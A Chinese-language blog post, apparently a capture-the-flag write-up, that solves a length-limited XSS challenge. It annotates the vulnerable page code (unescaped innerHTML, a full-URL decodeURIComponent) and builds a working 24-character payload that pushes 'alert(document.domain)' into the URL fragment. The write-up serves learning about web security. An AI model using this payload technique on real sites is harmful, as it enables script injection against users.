1162 字
6 分钟
26/2-XSS-Challenge
2026-01-14

26/2XSS挑战

直接先F12看源码(这段在下半部分)

window.name = 'XSS(eXtreme Short Scripting) Game'
function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}
window['main-form'].onsubmit = function(e) {
e.preventDefault()
var inputName = window['name-field'].value
var isFirst = document.querySelector('input[type=radio]:checked').value
if (!inputName.length) {
showModal('Error!', "It's empty")
return
}
if (inputName.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
return
}
window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
}
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}

XSS题老样子,开始分析

// 给window对象设置name属性,标注这是一个XSS漏洞演示游戏
window.name = 'XSS(eXtreme Short Scripting) Game'
// 定义模态框展示函数,用于弹出提示/反馈窗口
function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
// 【严重安全风险】直接使用innerHTML插入标题内容,未做任何转义处理
// innerHTML会解析并执行传入内容中的HTML标签和JavaScript代码,存在XSS注入漏洞
titleDOM.innerHTML = title
// 【严重安全风险】核心XSS漏洞点1:直接将外部传入的content通过innerHTML插入到页面DOM中
// 当content包含恶意脚本(如<script>alert('xss')</script>)时,会被浏览器解析并执行
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}
// 给表单绑定提交事件处理函数
window['main-form'].onsubmit = function(e) {
// 阻止表单默认提交行为(避免页面刷新)
e.preventDefault()
// 获取用户在输入框中输入的内容
var inputName = window['name-field'].value
// 获取单选框选中的值
var isFirst = document.querySelector('input[type=radio]:checked').value
// 校验:输入内容不能为空
if (!inputName.length) {
showModal('Error!', "It's empty")
return
}
// 校验:输入内容长度不能超过24个字符
if (inputName.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
return
}
// 将用户输入的内容通过encodeURIComponent编码后,拼接在URL查询参数中
// 注:encodeURIComponent仅用于URL编码(处理特殊字符如&、=、空格等),无法防止XSS漏洞
// 它只是保证URL格式合法,不具备转义HTML/JS代码的能力,后续解析后仍会存在风险
window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
}
// 【逻辑说明】当页面URL中包含"q="查询参数时,说明是带参跳转过来的,需要解析并展示用户输入内容
if (location.href.includes('q=')) {
// 【潜在风险】先对整个URL进行decodeURIComponent解码,存在被恶意构造URL的风险
// 若URL中包含经过多次编码的恶意脚本,解码后会还原为危险内容
var uri = decodeURIComponent(location.href)
// 【解析逻辑】通过字符串分割提取查询参数q的值
// 第一步:以&first=分割,取前面的部分(即包含?q=xxx的字符串)
// 第二步:以?q=分割,取后面的部分,即为用户之前输入并编码后的内容
var qs = uri.split('&first=')[0].split('?q=')[1]
// 再次校验:提取后的内容长度不能超过24个字符(与表单提交时的校验一致)
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
// 【核心XSS漏洞点2】将从URL中提取的未做任何HTML转义的qs值,直接传入showModal作为content参数
// 而showModal内部又会使用innerHTML将qs插入到页面中,恶意脚本会被执行
// 即使有长度限制(24字符),攻击者仍可构造短长度恶意脚本(如<img src=x onerror=alert(1)>)完成XSS注入
showModal('Welcome back!', qs)
}
}

可以得知,我们的输入会被拼接到?q=的后面,然后还需要传一个参数&first=。 回顾题目给的信息长度要小于24,且要执行alert(document.domain),这个alert(document.domain)长度为22,在一句内执行,且要长度小于24的话是不可能的。 但是如果能加个锚点(没有长度限制,浏览器不会把锚点内容发送给服务器,仅在本地页面解析执行,这样就可以避开服务器对于?q=的长度限制),也就是

#%0d%0aalert(document.domain)
//%0d%0a Windows默认换行格式

那么会交给服务器进行长度检测的内容现阶段一下子就少了,操作空间就变大了。 再回去看一下源码。

var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]

会把URL的内容url解码后赋值给uri,明确了uri变量,所以说得用上uri。好接下来继续前面内容的构造。 <script>alert(1)</script>长度为26,超了,换标签,<img>需要写成<img src=x onerror=alert(1)>的形式,长度绝对超标,所以再换,尝试一下想到的比较短的<tag>标签

<tag/onclick=alert(uri)>

ok长度24,主打一个长度擦边,没有问题。那么payload的构造其实就结束了

?q=<tag/onclick=alert(uri)>&first=aaa#%0d%0aalert(document.domain)

enter,成功显示Welcome back!,过关

26/2-XSS-Challenge
https://fuwari.vercel.app/posts/monthlyxss-challenge/
作者
BIG熙
发布于
2026-01-14
许可协议
CC BY-NC-SA 4.0